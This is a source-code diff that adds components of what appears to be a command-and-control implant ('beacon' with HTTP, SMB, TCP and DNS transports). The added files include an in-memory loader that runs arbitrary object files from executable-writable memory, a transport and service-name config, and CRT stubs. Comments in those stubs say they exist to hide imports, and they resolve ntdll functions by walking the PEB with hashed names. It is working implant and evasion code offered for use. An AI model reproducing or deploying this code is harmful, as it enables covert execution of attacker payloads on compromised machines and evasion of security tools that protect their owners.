HMODULE hModule = ApiWin->LoadLibraryA(moduleName);
memset(symbolCopy, 0, StrLenA(symbol));
if (hModule)
return GetSymbolAddress(hModule, funcHash);
}
return NULL;
}
char* PrepareEntryName(char* targetFuncName)
{
#if defined(__x86_64__) || defined(_WIN64)
return targetFuncName;
#else
int targetLength = StrLenA(targetFuncName);
char* entryName = (char*)MemAllocLocal(targetLength + 2);
if (!entryName)
return NULL;
entryName[0] = '_';
memcpy(entryName + 1, targetFuncName, targetLength + 1);
return entryName;
#endif
}
void FreeFunctionName(char* targetFuncName)
{
#if !defined(__x86_64__) && !defined(_WIN64)
MemFreeLocal((LPVOID*) & targetFuncName, StrLenA(targetFuncName));
#endif
}
bool AllocateSections(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections)
{
for (int i = 0; i < pHeader->NumberOfSections; i++) {
COF_SECTION* pSection = (COF_SECTION*)(coffFile + sizeof(COF_HEADER) + (sizeof(COF_SECTION) * i));
mapSections[i] = (char*)ApiWin->VirtualAlloc(NULL, pSection->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if (!mapSections[i] && pSection->SizeOfRawData)
return FALSE;
if (pSection->PointerToRawData)
memcpy(mapSections[i], coffFile + pSection->PointerToRawData, pSection->SizeOfRawData);
else
memset(mapSections[i], 0, pSection->SizeOfRawData);
}
return TRUE;
}
void CleanupSections(PCHAR* mapSections, int maxSections)
{
for (int i = 0; i < maxSections; i++) {
if (mapSections[i]) {
ApiWin->VirtualFree(mapSections[i], 0, MEM_RELEASE);
mapSections[i] = NULL;
}
}
}
bool ProcessRelocations(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections, COF_SYMBOL* pSymbolTable, LPVOID* mapFunctions)
{
bool status = TRUE;
int mapFunctionsSize = 0;
char* procSymbol = NULL;
char procSymbolShort[9] = { 0 };
for (int sectionIndex = 0; sectionIndex < pHeader->NumberOfSections; sectionIndex++) {
COF_SECTION* pSection = (COF_SECTION*)(coffFile + sizeof(COF_HEADER) + (sizeof(COF_SECTION) * sectionIndex));
COF_RELOCATION* pRelocTable = (COF_RELOCATION*)(coffFile + pSection->PointerToRelocations);
for (int relocIndex = 0; relocIndex < pSection->NumberOfRelocations; relocIndex++) {
COF_SYMBOL pSymbol = pSymbolTable[pRelocTable->SymbolTableIndex];
if (pRelocTable->SymbolTableIndex >= pHeader->NumberOfSymbols) {
BeaconOutput(BOF_ERROR_PARSE, NULL, 0);
return FALSE;
}
int offset = 0;
void* procAddress = NULL;
#ifdef _WIN64
unsigned long long bigOffset = 0;
#endif
if (pSymbol.Name.dwName[0] == 0) {
procSymbol = ((char*)(pSymbolTable + pHeader->NumberOfSymbols)) + pSymbol.Name.dwName[1];
}
else {
if (pSymbol.Name.cName[7] != 0) {
my_strncpy_s(procSymbolShort, sizeof(procSymbolShort), pSymbol.Name.cName, sizeof(pSymbol.Name.cName));
procSymbol = procSymbolShort;
}
else {
procSymbol = pSymbol.Name.cName;
}
}
if (pSymbol.SectionNumber > 0) {
procAddress = mapSections[pSymbol.SectionNumber - 1];
procAddress = (void*)((char*)procAddress + pSymbol.Value);
}
else if(pSymbol.Value == 0 && (pSymbol.StorageClass == IMAGE_SYM_CLASS_EXTERNAL || pSymbol.StorageClass == IMAGE_SYM_CLASS_EXTERNAL_DEF)) {
procAddress = FindProcBySymbol(procSymbol);
if (procAddress == NULL && pSymbolTable[pRelocTable->SymbolTableIndex].SectionNumber == 0) {
BeaconOutput(BOF_ERROR_SYMBOL, procSymbol, StrLenA(procSymbol));
status = FALSE;
}
else {
mapFunctions[mapFunctionsSize] = procAddress;
procAddress = &mapFunctions[mapFunctionsSize];
mapFunctionsSize++;
}
}
else {
BeaconOutput(BOF_ERROR_SYMBOL, "Undefined symbol", 17);
status = FALSE;
}
if (status != FALSE) {
#ifdef _WIN64
if (pRelocTable->Type == IMAGE_REL_AMD64_ADDR64) // Type == 1 - 64-bit VA of the relocation target
{
memcpy(&bigOffset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(unsigned long long));
bigOffset += (unsigned long long) procAddress;
memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &bigOffset, sizeof(unsigned long long));
}
else if (pRelocTable->Type == IMAGE_REL_AMD64_ADDR32NB) // Type == 3 relocation code
{
memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int));
if (((char*)(mapSections[pSymbol.SectionNumber - 1] + offset) - (char*)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4)) > 0xffffffff) {
return FALSE;
}
offset = ((char*)(mapSections[pSymbol.SectionNumber - 1] + offset) - (char*)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4));
offset += pSymbolTable[pRelocTable->SymbolTableIndex].Value;
memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(int));
}
// Type == 4,5,6,7,8,9 relocation code (make global variables)
else if (pRelocTable->Type == IMAGE_REL_AMD64_REL32 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_1 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_2 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_3 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_4 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_5)
{
offset = 0;
int typeIndex = pRelocTable->Type - 4;
memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int));
if (llabs((long long)procAddress - (long long)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4 + typeIndex)) > UINT_MAX) {
return FALSE;
}
offset += ((size_t)procAddress - ((size_t)mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4 + typeIndex));
memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(int));
}
#else
if (pRelocTable->Type == IMAGE_REL_I386_DIR32)
{
offset = 0;
memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int));
offset = (unsigned int)procAddress + offset;
memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(unsigned int));
}
else if (pRelocTable->Type == IMAGE_REL_I386_REL32)
{
offset = 0;
memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int));
offset = (unsigned int)procAddress - (unsigned int)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4);
memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(unsigned int));
}
#endif
}
pRelocTable = (COF_RELOCATION*)((char*)pRelocTable + sizeof(COF_RELOCATION));
}
}
return status;
}
void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYMBOL* pSymbolTable, COF_HEADER* pHeader, PCHAR* mapSections)
{
for (int i = 0; i < pHeader->NumberOfSymbols; i++) {
if (StrCmpA(pSymbolTable[i].Name.cName, entryFuncName) == 0) {
void(*proc)(char*, unsigned long) = (void(*)(char*, unsigned long)) (mapSections[pSymbolTable[i].SectionNumber - 1] + pSymbolTable[i].Value);
proc((char*)args, argsSize);
return;
}
}
BeaconOutput(BOF_ERROR_ENTRY, NULL, 0);
}
Packer* ObjectExecute(ULONG taskId, char* targetFuncName, unsigned char* coffFile, unsigned int cofFileSize, unsigned char* args, int argsSize)
{
COF_HEADER* pHeader = NULL;
COF_SYMBOL* pSymbolTable = NULL;
PCHAR entryFuncName = NULL;
LPVOID* mapFunctions = NULL;
BOOL result = FALSE;
PCHAR mapSections[MAX_SECTIONS] = { 0 };
InitBofOutputData();
bofTaskId = taskId;
if (!coffFile || !targetFuncName) {
goto RET;
}
pHeader = (COF_HEADER*)coffFile;
pSymbolTable = (COF_SYMBOL*)(coffFile + pHeader->PointerToSymbolTable);
entryFuncName = PrepareEntryName(targetFuncName);
if (!entryFuncName) {
BeaconOutput(BOF_ERROR_ENTRY, NULL, 0);
goto RET;
}
result = AllocateSections(coffFile, pHeader, mapSections);
if (!result) {
BeaconOutput(BOF_ERROR_ALLOC, NULL, 0);
goto RET;
}
mapFunctions = (LPVOID*) ApiWin->VirtualAlloc(NULL, MAP_FUNCTIONS_SIZE, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if (!mapFunctions) {
BeaconOutput(BOF_ERROR_ALLOC, NULL, 0);
goto RET;
}
result = ProcessRelocations(coffFile, pHeader, mapSections, pSymbolTable, mapFunctions);
if (!result) {
goto RET;
}
ExecuteProc(entryFuncName, args, argsSize, pSymbolTable, pHeader, mapSections);
RET:
if (mapFunctions) {
ApiWin->VirtualFree(mapFunctions, 0, MEM_RELEASE);
mapFunctions = NULL;
}
FreeFunctionName(entryFuncName);
CleanupSections(mapSections, MAX_SECTIONS);
bofTaskId = 0;
return bofOutputPacker;
}
+84
View File
@@ -0,0 +1,84 @@
#pragma once
#include "adaptix.h"
#include "ApiLoader.h"
#include "ApiDefines.h"
#include "Packer.h"
#define MAX_SECTIONS 25
#define MAP_FUNCTIONS_SIZE 4096
#define IMAGE_REL_AMD64_ADDR64 0x0001
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
#define IMAGE_REL_AMD64_REL32 0x0004
#define HASH_KEY 13
#define BOF_ERROR_PARSE 0x101
#define BOF_ERROR_SYMBOL 0x102
#define BOF_ERROR_MAX_FUNCS 0x103
#define BOF_ERROR_ENTRY 0x104
#define BOF_ERROR_ALLOC 0x105
typedef struct {
ULONG hash;
LPVOID proc;
} BOF_API;
extern Packer* bofOutputPacker;
extern int bofOutputCount;
extern ULONG bofTaskId;
typedef struct COF_HEADER {
short Machine;
short NumberOfSections;
int TimeDateStamp;
int PointerToSymbolTable;
int NumberOfSymbols;
short SizeOfOptionalHeader;
short Characteristics;
} COF_HEADER;
#pragma pack(push,1)
typedef struct COF_SECTION {
char Name[8];
int VirtualSize;
int VirtualAddress;
int SizeOfRawData;
int PointerToRawData;
int PointerToRelocations;
int PointerToLineNumbers;
short NumberOfRelocations;
short NumberOfLinenumbers;
int Characteristics;
} COF_SECTION;
typedef struct COF_RELOCATION {
int VirtualAddress;
int SymbolTableIndex;
short Type;
} COF_RELOCATION;
typedef struct COF_SYMBOL {
union {
char cName[8];
int dwName[2];
} Name;
int Value;
short SectionNumber;
short Type;
char StorageClass;
char NumberOfAuxSymbols;
} COF_SYMBOL;
#pragma pack(pop)
void InitBofOutputData();
Packer* ObjectExecute(ULONG taskId, char* targetFuncName, unsigned char* coffFile, unsigned int cofFileSize, unsigned char* args, int argsSize);
bool AllocateSections(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections);
void CleanupSections(PCHAR* mapSections, int maxSections);
bool ProcessRelocations(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections, COF_SYMBOL* pSymbolTable, LPVOID* mapFunctions);
void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYMBOL* pSymbolTable, COF_HEADER* pHeader, PCHAR* mapSections);
char* PrepareEntryName(char* targetFuncName);
void FreeFunctionName(char* targetFuncName);
+38
View File
@@ -0,0 +1,38 @@
;
; chkstk_x64.asm - Stack probe for MSVC x64 builds
; MSVC x64 does not support inline assembly, so this must be a separate file.
; Assemble with: ml64 /c chkstk_x64.asm
;
PUBLIC _chkstk
PUBLIC __chkstk
_TEXT SEGMENT
_chkstk PROC
push rcx
push rax
cmp rax, 1000h
lea rcx, [rsp + 24]
jb done
probe_loop:
sub rcx, 1000h
test QWORD PTR [rcx], rcx
sub rax, 1000h
cmp rax, 1000h
ja probe_loop
done:
sub rcx, rax
test QWORD PTR [rcx], rcx
pop rax
pop rcx
ret
_chkstk ENDP
__chkstk PROC
; Alias - some code paths call __chkstk instead of _chkstk
jmp _chkstk
__chkstk ENDP
_TEXT ENDS
END
+62
View File
@@ -0,0 +1,62 @@
#include "config.h"
#if defined(BUILD_SVC)
char* getServiceName()
{
return (char*) "ServiceName";
}
#endif
#if defined(BEACON_HTTP)
char* getProfile()
{
return (char*)"";
}
unsigned int getProfileSize()
{
return 1;
}
#elif defined(BEACON_SMB)
char* getProfile()
{
return (char*)"";
}
unsigned int getProfileSize()
{
return 1;
}
#elif defined(BEACON_TCP)
char* getProfile()
{
return (char*)"";
}
unsigned int getProfileSize()
{
return 1;
}
#elif defined(BEACON_DNS)
char* getProfile()
{
return (char*)"";
}
unsigned int getProfileSize()
{
return 1;
}
#endif
int isIatHidingEnabled()
{
return 1;
}
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#if defined(BUILD_SVC)
char* getServiceName();
#endif
char* getProfile();
unsigned int getProfileSize();
int isIatHidingEnabled();
+472
View File
@@ -0,0 +1,472 @@
#pragma once
#include <windows.h>
//
// Minimal CRT replacements for -nostdlib linking.
// Eliminates KERNEL32.dll and msvcrt.dll from the IAT.
//
//=============================================================================
// Compiler and toolchain detection
//=============================================================================
// Compiler family
#if defined(_MSC_VER) && !defined(__clang__)
#define COMPILER_MSVC 1
#define COMPILER_CLANG 0
#define COMPILER_GCC 0
#elif defined(__clang__)
#define COMPILER_MSVC 0
#define COMPILER_CLANG 1
#define COMPILER_GCC 0
#elif defined(__GNUC__) || defined(__MINGW32__) || defined(__MINGW64__)
#define COMPILER_MSVC 0
#define COMPILER_CLANG 0
#define COMPILER_GCC 1
#else
#error "Unsupported compiler: use MinGW, MSVC, Clang, or Zig"
#endif
// Toolchain detection (affects ABI and naming)
#if defined(__MINGW32__) || defined(__MINGW64__)
#define TOOLCHAIN_MINGW 1
#else
#define TOOLCHAIN_MINGW 0
#endif
// Zig uses Clang frontend, detected via __zig_cc__ or lack of other defines
#if defined(__zig_cc__) || (COMPILER_CLANG && !defined(_MSC_VER) && !TOOLCHAIN_MINGW)
#define TOOLCHAIN_ZIG 1
#else
#define TOOLCHAIN_ZIG 0
#endif
// GCC-compatible inline assembly (GCC, Clang, Zig)
#define ASM_GCC_STYLE (COMPILER_GCC || COMPILER_CLANG)
// MSVC-style intrinsics
#define USE_MSVC_INTRINSICS (COMPILER_MSVC || (COMPILER_CLANG && defined(_MSC_VER)))
#if USE_MSVC_INTRINSICS
#include <intrin.h>
#endif
// Naked function attribute
#if COMPILER_MSVC
#define NAKED_FUNC __declspec(naked)
#elif ASM_GCC_STYLE
#define NAKED_FUNC __attribute__((naked))
#endif
extern "C" {
// memset and memcpy are already provided by ApiLoader.cpp
// lstrcpynA replacement ConnectorDNS uses it directly
static char* __cdecl crt_lstrcpynA(char* dst, const char* src, int maxLen)
{
if (!dst) return dst;
if (maxLen <= 0) return dst;
int i = 0;
while (i < maxLen - 1 && src[i]) {
dst[i] = src[i];
i++;
}
dst[i] = '\0';
return dst;
}
// Provide the __imp_ symbol that the linker looks for
char* (__cdecl* __imp_lstrcpynA)(char*, const char*, int) = crt_lstrcpynA;
void* memmove(void* dest, const void* src, size_t n)
{
unsigned char* d = (unsigned char*)dest;
const unsigned char* s = (const unsigned char*)src;
if (d < s) {
while (n--)
*d++ = *s++;
}
else {
d += n;
s += n;
while (n--)
*--d = *--s;
}
return dest;
}
int memcmp(const void* s1, const void* s2, size_t n)
{
const unsigned char* a = (const unsigned char*)s1;
const unsigned char* b = (const unsigned char*)s2;
while (n--) {
if (*a != *b)
return *a - *b;
a++;
b++;
}
return 0;
}
size_t strlen(const char* s)
{
const char* p = s;
while (*p)
p++;
return (size_t)(p - s);
}
//
// Heap functions for miniz (DNS builds need malloc/free/realloc).
// Resolves RtlAllocateHeap/RtlFreeHeap/RtlReAllocateHeap from ntdll
// using PEB walk zero IAT entries.
//
typedef void* (NTAPI* RtlAllocateHeap_t)(HANDLE, ULONG, SIZE_T);
typedef BOOLEAN(NTAPI* RtlFreeHeap_t)(HANDLE, ULONG, PVOID);
typedef void* (NTAPI* RtlReAllocateHeap_t)(HANDLE, ULONG, PVOID, SIZE_T);
static RtlAllocateHeap_t pRtlAllocateHeap = NULL;
static RtlFreeHeap_t pRtlFreeHeap = NULL;
static RtlReAllocateHeap_t pRtlReAllocateHeap = NULL;
static HANDLE hProcessHeap = NULL;
static int heapResolved = 0;
static unsigned long crt_djb2(const char* str)
{
unsigned long h = 5381;
while (*str)
h = ((h << 5) + h) + (unsigned char)*str++;
return h;
}
#define HASH_RtlAllocateHeap 0xc0b381da
#define HASH_RtlFreeHeap 0x70ba71d7
#define HASH_RtlReAllocateHeap 0xbbc97911
static void resolveHeapFunctions()
{
if (heapResolved)
return;
// Get PEB via TEB segment register
BYTE* pPeb;
#ifdef _WIN64
#if USE_MSVC_INTRINSICS
pPeb = (BYTE*)__readgsqword(0x60);
#elif ASM_GCC_STYLE
asm volatile("mov %0, gs:[0x60]" : "=r"(pPeb));
#endif
// PEB+0x30 = ProcessHeap
hProcessHeap = *(HANDLE*)(pPeb + 0x30);
// PEB+0x18 = Ldr (PPEB_LDR_DATA)
BYTE* ldr = *(BYTE**)(pPeb + 0x18);
#else
#if USE_MSVC_INTRINSICS
pPeb = (BYTE*)__readfsdword(0x30);
#elif ASM_GCC_STYLE
asm volatile("mov %0, fs:[0x30]" : "=r"(pPeb));
#endif
hProcessHeap = *(HANDLE*)(pPeb + 0x18);
BYTE* ldr = *(BYTE**)(pPeb + 0x0C);
#endif
// Ldr+0x10 (x64) or Ldr+0x0C (x86) = InLoadOrderModuleList
#ifdef _WIN64
LIST_ENTRY* head = (LIST_ENTRY*)(ldr + 0x10);
#else
LIST_ENTRY* head = (LIST_ENTRY*)(ldr + 0x0C);
#endif
LIST_ENTRY* entry = head->Flink;
while (entry != head) {
// LDR_DATA_TABLE_ENTRY: InLoadOrderLinks at offset 0
// BaseDllName at offset 0x58 (x64) or 0x2C (x86) UNICODE_STRING
// DllBase at offset 0x30 (x64) or 0x18 (x86)
BYTE* mod = (BYTE*)entry;
#ifdef _WIN64
PVOID dllBase = *(PVOID*)(mod + 0x30);
USHORT nameLen = *(USHORT*)(mod + 0x58);
WCHAR* nameBuf = *(WCHAR**)(mod + 0x58 + 0x08);
#else
PVOID dllBase = *(PVOID*)(mod + 0x18);
USHORT nameLen = *(USHORT*)(mod + 0x2C);
WCHAR* nameBuf = *(WCHAR**)(mod + 0x2C + 0x04);
#endif
// Check if this is ntdll.dll (case-insensitive, "ntdll.dll" = 9 chars)
if (nameLen >= 9 * 2 && nameBuf) {
WCHAR c0 = nameBuf[0] | 0x20;
WCHAR c1 = nameBuf[1] | 0x20;
WCHAR c2 = nameBuf[2] | 0x20;
WCHAR c3 = nameBuf[3] | 0x20;
WCHAR c4 = nameBuf[4] | 0x20;
if (c0 == L'n' && c1 == L't' && c2 == L'd' && c3 == L'l' && c4 == L'l' && nameBuf[5] == L'.') {
PBYTE base = (PBYTE)dllBase;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* names = (DWORD*)(base + exports->AddressOfNames);
WORD* ordinals = (WORD*)(base + exports->AddressOfNameOrdinals);
DWORD* functions = (DWORD*)(base + exports->AddressOfFunctions);
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
char* fname = (char*)(base + names[i]);
unsigned long h = crt_djb2(fname);
if (h == HASH_RtlAllocateHeap && !pRtlAllocateHeap)
pRtlAllocateHeap = (RtlAllocateHeap_t)(base + functions[ordinals[i]]);
else if (h == HASH_RtlFreeHeap && !pRtlFreeHeap)
pRtlFreeHeap = (RtlFreeHeap_t)(base + functions[ordinals[i]]);
else if (h == HASH_RtlReAllocateHeap && !pRtlReAllocateHeap)
pRtlReAllocateHeap = (RtlReAllocateHeap_t)(base + functions[ordinals[i]]);
if (pRtlAllocateHeap && pRtlFreeHeap && pRtlReAllocateHeap)
break;
}
break;
}
}
entry = entry->Flink;
}
heapResolved = 1;
}
void* malloc(size_t size)
{
if (!heapResolved)
resolveHeapFunctions();
if (!pRtlAllocateHeap || !hProcessHeap)
return NULL;
return pRtlAllocateHeap(hProcessHeap, 0, size);
}
void free(void* ptr)
{
if (!ptr)
return;
if (!heapResolved)
resolveHeapFunctions();
if (pRtlFreeHeap && hProcessHeap)
pRtlFreeHeap(hProcessHeap, 0, ptr);
}
void* calloc(size_t num, size_t size)
{
if (!heapResolved)
resolveHeapFunctions();
if (!pRtlAllocateHeap || !hProcessHeap)
return NULL;
size_t total = num * size;
return pRtlAllocateHeap(hProcessHeap, HEAP_ZERO_MEMORY, total);
}
void* realloc(void* ptr, size_t size)
{
if (!heapResolved)
resolveHeapFunctions();
if (!hProcessHeap)
return NULL;
if (!ptr)
return pRtlAllocateHeap(hProcessHeap, 0, size);
if (size == 0) {
pRtlFreeHeap(hProcessHeap, 0, ptr);
return NULL;
}
return pRtlReAllocateHeap(hProcessHeap, 0, ptr, size);
}
//=============================================================================
// Stack probe functions (__chkstk / ___chkstk_ms)
// Required when local variables exceed page size (4KB)
//=============================================================================
#if ASM_GCC_STYLE
// GCC/Clang/MinGW/Zig: emit __main stub for static constructor init
void __main(void) {}
#ifdef _WIN64
NAKED_FUNC void ___chkstk_ms(void)
{
asm volatile(
"push rcx\n"
"push rax\n"
"cmp rax, 0x1000\n"
"lea rcx, [rsp + 24]\n"
"jb 2f\n"
"1:\n"
"sub rcx, 0x1000\n"
"test [rcx], rcx\n"
"sub rax, 0x1000\n"
"cmp rax, 0x1000\n"
"ja 1b\n"
"2:\n"
"sub rcx, rax\n"
"test [rcx], rcx\n"
"pop rax\n"
"pop rcx\n"
"ret\n"
);
}
// Clang on Windows may call __chkstk instead of ___chkstk_ms
NAKED_FUNC void __chkstk(void)
{
asm volatile(
"push rcx\n"
"push rax\n"
"cmp rax, 0x1000\n"
"lea rcx, [rsp + 24]\n"
"jb 2f\n"
"1:\n"
"sub rcx, 0x1000\n"
"test [rcx], rcx\n"
"sub rax, 0x1000\n"
"cmp rax, 0x1000\n"
"ja 1b\n"
"2:\n"
"sub rcx, rax\n"
"test [rcx], rcx\n"
"pop rax\n"
"pop rcx\n"
"ret\n"
);
}
#else // x86
NAKED_FUNC void ___chkstk_ms(void)
{
asm volatile(
"push ecx\n"
"push eax\n"
"cmp eax, 0x1000\n"
"lea ecx, [esp + 12]\n"
"jb 2f\n"
"1:\n"
"sub ecx, 0x1000\n"
"test [ecx], ecx\n"
"sub eax, 0x1000\n"
"cmp eax, 0x1000\n"
"ja 1b\n"
"2:\n"
"sub ecx, eax\n"
"test [ecx], ecx\n"
"pop eax\n"
"pop ecx\n"
"ret\n"
);
}
NAKED_FUNC void __chkstk(void)
{
asm volatile(
"push ecx\n"
"push eax\n"
"cmp eax, 0x1000\n"
"lea ecx, [esp + 12]\n"
"jb 2f\n"
"1:\n"
"sub ecx, 0x1000\n"
"test [ecx], ecx\n"
"sub eax, 0x1000\n"
"cmp eax, 0x1000\n"
"ja 1b\n"
"2:\n"
"sub ecx, eax\n"
"test [ecx], ecx\n"
"pop eax\n"
"pop ecx\n"
"ret\n"
);
}
// Some linkers look for _alloca or _chkstk aliases
NAKED_FUNC void _chkstk(void)
{
asm volatile("jmp ___chkstk_ms\n");
}
#ifdef _alloca
#undef _alloca
#endif
NAKED_FUNC void _alloca(void)
{
asm volatile("jmp ___chkstk_ms\n");
}
#endif // _WIN64
#elif COMPILER_MSVC
// MSVC: x86 uses inline asm, x64 requires external chkstk_x64.asm
#if !defined(_WIN64)
NAKED_FUNC void __cdecl _chkstk(void)
{
__asm {
push ecx
push eax
cmp eax, 1000h
lea ecx, [esp + 12]
jb done
probe_loop :
sub ecx, 1000h
test[ecx], ecx
sub eax, 1000h
cmp eax, 1000h
ja probe_loop
done :
sub ecx, eax
test[ecx], ecx
pop eax
pop ecx
ret
}
}
#endif // !_WIN64
#endif // COMPILER_MSVC
} // extern "C"
//=============================================================================
// Minimal RTTI type_info stubs for -nostdlib linking.
// The Itanium C++ ABI (GCC/MinGW) emits RTTI references for classes with
// virtual methods. Without libstdc++ we must provide the vtables ourselves.
// __class_type_info classes with no base (Connector)
// __si_class_type_info single-inheritance derived classes (ConnectorHTTP…)
//=============================================================================
#if COMPILER_GCC || COMPILER_CLANG
void operator delete(void* p, unsigned long long) noexcept { free(p); }
void operator delete(void* p) noexcept { free(p); }
namespace std {
class type_info {
public:
virtual ~type_info();
protected:
const char* __name;
};
type_info::~type_info() {}
}
namespace __cxxabiv1 {
class __class_type_info : public std::type_info {
public:
virtual ~__class_type_info();
};
__class_type_info::~__class_type_info() {}
class __si_class_type_info : public __class_type_info {
public:
virtual ~__si_class_type_info();
};
__si_class_type_info::~__si_class_type_info() {}
}
#endif // COMPILER_GCC || COMPILER_CLANG

Some files were not shown because too many files have changed in this diff Show More